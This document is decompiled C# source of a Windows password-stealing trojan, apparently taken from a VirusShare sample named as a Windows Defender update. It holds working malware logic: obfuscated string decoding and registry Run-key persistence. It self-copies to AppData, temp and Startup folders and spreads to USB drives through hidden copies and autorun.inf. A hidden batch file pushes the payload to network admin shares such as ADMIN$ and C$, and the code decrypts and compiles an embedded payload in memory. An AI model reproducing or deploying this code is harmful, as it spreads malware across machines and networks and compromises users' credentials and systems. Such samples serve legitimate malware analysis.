// Decompiled with JetBrains decompiler
// Type: YUGFYLIGvlfiyl
// Assembly: windefender_upd-2, Version=1.3.2.4, Culture=neutral, PublicKeyToken=null
// MVID: 586226ED-1F78-4585-B234-14A26CF968DE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.Win32.Dybalom.gwl-55ca18d19b2d75973541e883e8010d88e1f774533692f9ffc976ac7a227ca560.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using My;
using System;
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;

public class YUGFYLIGvlfiyl
{
  private static string urPkJBxJaoKxHfa;
  private static string DFlGLTJoxxwCYfm;
  private static string RedtwzrQfYIqsNp;
  private static string uIFnBaaCKWySxWn;

  [DebuggerNonUserCode]
  public YUGFYLIGvlfiyl()
  {
  }

  public static string HqBHDPguDENkfJL(string JEhjQWpxnTOONSD, string KRhIIXNQIgKomUJ)
  {
    char[] charArray1 = JEhjQWpxnTOONSD.ToCharArray();
    char[] charArray2 = KRhIIXNQIgKomUJ.ToCharArray();
    char[] chArray = new char[JEhjQWpxnTOONSD.Length - 2 + 1];
    int num1 = (int) charArray1[JEhjQWpxnTOONSD.Length - 1];
    charArray1[JEhjQWpxnTOONSD.Length - 1] = char.MinValue;
    int index1 = 0;
    int num2 = JEhjQWpxnTOONSD.Length - 1;
    for (int index2 = 0; index2 <= num2; ++index2)
    {
      if (index2 < JEhjQWpxnTOONSD.Length - 1)
      {
        if (index1 >= charArray2.Length)
          index1 = 0;
        int num3 = (int) charArray1[index2];
        int num4 = (int) charArray2[index1];
        int num5 = num3 - num1 - num4;
        chArray[index2] = Convert.ToChar(num5);
        ++index1;
      }
    }
    return new string(chArray);
  }

  public static void CiMbIOhpfLGHFKu()
  {
    string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Path.GetFileName(Application.ExecutablePath);
    while (true)
    {
      try
      {
        if (!System.IO.File.Exists(str))
        {
          System.IO.File.Copy(Application.ExecutablePath, str);
          YUGFYLIGvlfiyl.gjbzPIrZcwZdrCX(Path.GetFileName(Application.ExecutablePath), str);
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      Thread.Sleep(5000);
    }
  }

  public static void gjbzPIrZcwZdrCX(string Name, string Path) => Registry.CurrentUser.OpenSubKey(YUGFYLIGvlfiyl.HqBHDPguDENkfJL("ŚŧŴŮƗƆƌƀŗŧƑŝƙśƝźŭŬŪőƉƓžƊŲƍƄĽƜŞƜŰŵŬŤşƒƘƃƊũŶźůƕ´", "SDZFlqfgGftFs8vW"), true).SetValue(Name, (object) Path, RegistryValueKind.String);

  public static object Spread(string drive)
  {
label_1:
    int num1;
    object obj1;
    int num2;
    try
    {
      ProjectData.ClearProjectError();
      num1 = -2;
label_2:
      int num3 = 2;
      string location = Assembly.GetExecutingAssembly().Location;
label_3:
      num3 = 3;
      System.IO.File.Copy(location, drive + "\\erPCyQY.exe");
label_4:
      num3 = 4;
      FileInfo fileInfo = new FileInfo(drive + "\\erPCyQY.exe");
label_5:
      num3 = 5;
      fileInfo.Attributes = FileAttributes.Hidden;
label_6:
      obj1 = (object) null;
      goto label_13;
label_8:
      num2 = num3;
      switch (num1 > -2 ? num1 : 1)
      {
        case 1:
          int num4 = num2 + 1;
          num2 = 0;
          switch (num4)
          {
            case 1:
              goto label_1;
            case 2:
              goto label_2;
            case 3:
              goto label_3;
            case 4:
              goto label_4;
            case 5:
              goto label_5;
            case 6:
              goto label_6;
            case 7:
              goto label_13;
          }
          break;
      }
    }
    catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
    {
      ProjectData.SetProjectError(ex);
      goto label_8;
    }
    throw ProjectData.CreateProjectError(-2146828237);
label_13:
    object obj2 = obj1;
    if (num2 == 0)
      return obj2;
    ProjectData.ClearProjectError();
    return obj2;
  }

  public static object SetAutorun(string drive)
  {
label_1:
    int num1;
    object obj1;
    int num2;
    try
    {
      ProjectData.ClearProjectError();
      num1 = -2;
label_2:
      int num3 = 2;
      StreamWriter streamWriter = new StreamWriter(drive + "\\autorun.inf");
label_3:
      num3 = 3;
      streamWriter.WriteLine("[AutoRun]");
label_4:
      num3 = 4;
      streamWriter.WriteLine("Open = erPCyQY.exe");
label_5:
      num3 = 5;
      streamWriter.Close();
label_6:
      num3 = 6;
      FileInfo fileInfo = new FileInfo(drive + "\\autorun.inf");
label_7:
      num3 = 7;
      fileInfo.Attributes = FileAttributes.Hidden;
label_8:
      obj1 = (object) null;
      goto label_15;
label_10:
      num2 = num3;
      switch (num1 > -2 ? num1 : 1)
      {
        case 1:
          int num4 = num2 + 1;
          num2 = 0;
          switch (num4)
          {
            case 1:
              goto label_1;
            case 2:
              goto label_2;
            case 3:
              goto label_3;
            case 4:
              goto label_4;
            case 5:
              goto label_5;
            case 6:
              goto label_6;
            case 7:
              goto label_7;
            case 8:
              goto label_8;
            case 9:
              goto label_15;
          }
          break;
      }
    }
    catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
    {
      ProjectData.SetProjectError(ex);
      goto label_10;
    }
    throw ProjectData.CreateProjectError(-2146828237);
label_15:
    object obj2 = obj1;
    if (num2 == 0)
      return obj2;
    ProjectData.ClearProjectError();
    return obj2;
  }

  public static void searchDrives()
  {
label_1:
    int num1;
    int num2;
    try
    {
label_2:
      ProjectData.ClearProjectError();
      num1 = -2;
label_3:
      int num3 = 3;
      Thread.Sleep(1000);
label_4:
      num3 = 4;
      DriveInfo[] drives = DriveInfo.GetDrives();
label_5:
      num3 = 5;
      DriveInfo[] driveInfoArray = drives;
      int index = 0;
      goto label_16;
label_7:
      num3 = 6;
      DriveInfo driveInfo;
      if (driveInfo.DriveType != DriveType.Removable)
        goto label_14;
label_8:
      num3 = 7;
      if (!driveInfo.IsReady)
        goto label_13;
label_9:
      num3 = 8;
      if (System.IO.File.Exists(driveInfo.Name + "\\erPCyQY.exe"))
        goto label_12;
label_10:
      num3 = 9;
      YUGFYLIGvlfiyl.Spread(driveInfo.Name);
label_11:
      num3 = 10;
      YUGFYLIGvlfiyl.SetAutorun(driveInfo.Name);
label_12:
label_13:
label_14:
      ++index;
label_15:
      num3 = 14;
label_16:
      if (index < driveInfoArray.Length)
      {
        driveInfo = driveInfoArray[index];
        goto label_7;
      }
      else
        goto label_2;
label_18:
      num2 = num3;
      switch (num1 > -2 ? num1 : 1)
      {
        case 1:
          int num4 = num2 + 1;
          num2 = 0;
          switch (num4)
          {
            case 1:
              goto label_1;
            case 2:
            case 15:
              goto label_2;
            case 3:
              goto label_3;
            case 4:
              goto label_4;
            case 5:
              goto label_5;
            case 6:
              goto label_7;
            case 7:
              goto label_8;
            case 8:
              goto label_9;
            case 9:
              goto label_10;
            case 10:
              goto label_11;
            case 11:
              goto label_12;
            case 12:
              goto label_13;
            case 13:
              goto label_14;
            case 14:
              goto label_15;
            case 16:
              goto label_23;
          }
          break;
      }
    }
    catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
    {
      ProjectData.SetProjectError(ex);
      goto label_18;
    }
    throw ProjectData.CreateProjectError(-2146828237);
label_23:
    if (num2 == 0)
      return;
    ProjectData.ClearProjectError();
  }

  [STAThread]
  public static void Main()
  {
    ResourceManager resourceManager = new ResourceManager("H", Assembly.GetExecutingAssembly());
    string Expression = Conversions.ToString(resourceManager.GetObject("K4T8F6c"));
    FHQnUxOuBUcRwss fhQnUxOuBucRwss = new FHQnUxOuBUcRwss(Conversions.ToString(resourceManager.GetObject("N1HXjA")));
    string[] strArray = Strings.Split(Expression, "SuZz5vnl5M1s6Sra");
    string Right = YUGFYLIGvlfiyl.HqBHDPguDENkfJL("śƕšŽ´", "So8dxq7eL5m3PMUH");
    string str1 = Conversions.ToString(Operators.ConcatenateObject((object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"), Operators.AddObject(resourceManager.GetObject("WggM2"), (object) ".exe")));
    try
    {
      Process process = (Process) null;
      Process[] processes = Process.GetProcesses();
      int index = 0;
      if (index < processes.Length)
        goto label_6;
      else
        goto label_7;
label_3:
      if (System.IO.File.Exists(str1))
      {
        System.IO.File.Delete(str1);
        goto label_9;
      }
      else
        goto label_9;
label_6:
      process = processes[index];
      if (!str1.Contains(process.ProcessName))
        goto label_3;
label_7:
      process.Kill();
      goto label_3;
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
label_9:
    try
    {
      MyProject.Computer.FileSystem.WriteAllBytes(str1, fhQnUxOuBucRwss.DbqjTCEYBFTdyMy(Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject("UntJ0")))), false);
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    YUGFYLIGvlfiyl.kXKlIGiQhTXwXic("MonAMour", "R", YUGFYLIGvlfiyl.CC(Conversions.ToString(resourceManager.GetObject("nerdz"))), new object[2]
    {
      (object) fhQnUxOuBucRwss.DbqjTCEYBFTdyMy(Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject("tZAsD")))),
      (object) str1
    });
    new Thread(new ThreadStart(YUGFYLIGvlfiyl.CiMbIOhpfLGHFKu)).Start();
    try
    {
      object environmentVariable = (object) Environment.GetEnvironmentVariable("temp");
      Registry.CurrentUser.OpenSubKey(YUGFYLIGvlfiyl.HqBHDPguDENkfJL("ŚŧŴŮƗƆƌƀŗŧƑŝƙśƝźŭŬŪőƉƓžƊŲƍƄĽƜŞƜŰŵŬŤşƒƘƃƊũŶźůƕ´", "SDZFlqfgGftFs8vW")).SetValue("Win32", Operators.ConcatenateObject(environmentVariable, (object) "\\erPCyQY.exe"));
      System.IO.File.Copy(Application.ExecutablePath, Conversions.ToString(Operators.ConcatenateObject(environmentVariable, (object) "\\erPCyQY.exe")));
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      System.IO.File.Copy(Application.ExecutablePath, Conversions.ToString(Operators.ConcatenateObject((object) Environment.GetFolderPath(Environment.SpecialFolder.Startup), (object) "\\erPCyQY.exe")));
      ProjectData.ClearProjectError();
    }
    YUGFYLIGvlfiyl.searchDrives();
    string str2 = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + YUGFYLIGvlfiyl.HqBHDPguDENkfJL("ţƙŲŮūƐſƌŖĶƒŴţ´", "SnULKmdi4TyHJsgC");
    try
    {
      Dns.GetHostAddresses(Dns.GetHostName())[0].ToString();
      Dns.GetHostEntry(YUGFYLIGvlfiyl.HqBHDPguDENkfJL("žŜŝŹŞŴƋƐŭ´", "S97ZCNhgI8QfVduK"));
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      System.IO.File.Copy(Application.ExecutablePath, YUGFYLIGvlfiyl.HqBHDPguDENkfJL("žŜŝŹŞŴƋƐŭ´", "S97ZCNhgI8QfVduK"));
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      object Instance = (object) new StreamWriter("C:\\LcvHEwb.bat");
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) YUGFYLIGvlfiyl.HqBHDPguDENkfJL("ŇŪŇŶƒĥŚƊƐĝłħƄƙŒžŲĥœŴƉ´", "SQ0ZoQ7pvIhSns9i")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) "net view >log.txt"
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) YUGFYLIGvlfiyl.HqBHDPguDENkfJL("ŭƑųōīşĘłĬšļƇƄŁŏƕŶƉįơŴŭġĽūŜļņĶ´", "SnMyHEDiS9hjbmsu")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\IPC$\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\ADMIN$\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\C$\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\D$\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\PRINT$\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\e$\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\e$\\shared\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\d$\\shared\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" %%t\\C$\\shared\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ("copy \"" + str2 + "\" shared\\debug.exe")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "WriteLine", new object[1]
      {
        (object) ")"
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
      NewLateBinding.LateCall(Instance, (System.Type) null, "Close", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
      new Process()
      {
        StartInfo = {
          WindowStyle = ProcessWindowStyle.Hidden,
          FileName = "C:\\LcvHEwb.bat"
        }
      }.Start();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    if (Operators.CompareString(strArray[2], Right, false) != 0)
      ;
    if (Operators.CompareString(strArray[4], Right, false) != 0)
      ;
  }

  private static bool kXKlIGiQhTXwXic(
    string Class,
    string Void,
    Assembly file,
    object[] Parameters)
  {
    bool boolean;
    try
    {
      System.Type type = file.GetType(Class);
      if ((object) type != null)
      {
        MethodInfo method = type.GetMethod(Void);
        if ((object) method != null)
        {
          boolean = Conversions.ToBoolean(method.Invoke((object) null, Parameters));
          goto label_6;
        }
      }
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
label_6:
    return boolean;
  }

  public static Assembly CC(string Source)
  {
    YUGFYLIGvlfiyl.urPkJBxJaoKxHfa = YUGFYLIGvlfiyl.HqBHDPguDENkfJL("űƖŵƦƶǀÛ", "Sh2jiulGpHtnnVzW");
    YUGFYLIGvlfiyl.DFlGLTJoxxwCYfm = YUGFYLIGvlfiyl.HqBHDPguDENkfJL("ƁƾǃƂƩƱŏƬơƺÛ", "Sju3iiFmZsEiQdJe");
    YUGFYLIGvlfiyl.RedtwzrQfYIqsNp = YUGFYLIGvlfiyl.HqBHDPguDENkfJL("ƁƜƜƜƔǁĺƀųƞƣƆŵƮƍƍƢőƍƔƛÛ", "SHNMTy1X7UgD5fMD");
    YUGFYLIGvlfiyl.uIFnBaaCKWySxWn = YUGFYLIGvlfiyl.HqBHDPguDENkfJL("ĐńŔŒņĬŲũŐğųĞĬ\u008E", "SFZcD8uiUWmXhX8w");
    CompilerParameters options = new CompilerParameters();
    CodeDomProvider provider = CodeDomProvider.CreateProvider(YUGFYLIGvlfiyl.urPkJBxJaoKxHfa);
    options.GenerateExecutable = false;
    options.GenerateInMemory = true;
    options.ReferencedAssemblies.Add(YUGFYLIGvlfiyl.DFlGLTJoxxwCYfm);
    options.ReferencedAssemblies.Add(YUGFYLIGvlfiyl.RedtwzrQfYIqsNp);
    options.CompilerOptions = YUGFYLIGvlfiyl.uIFnBaaCKWySxWn;
    options.TreatWarningsAsErrors = false;
    return provider.CompileAssemblyFromSource(options, Source).CompiledAssembly;
  }
}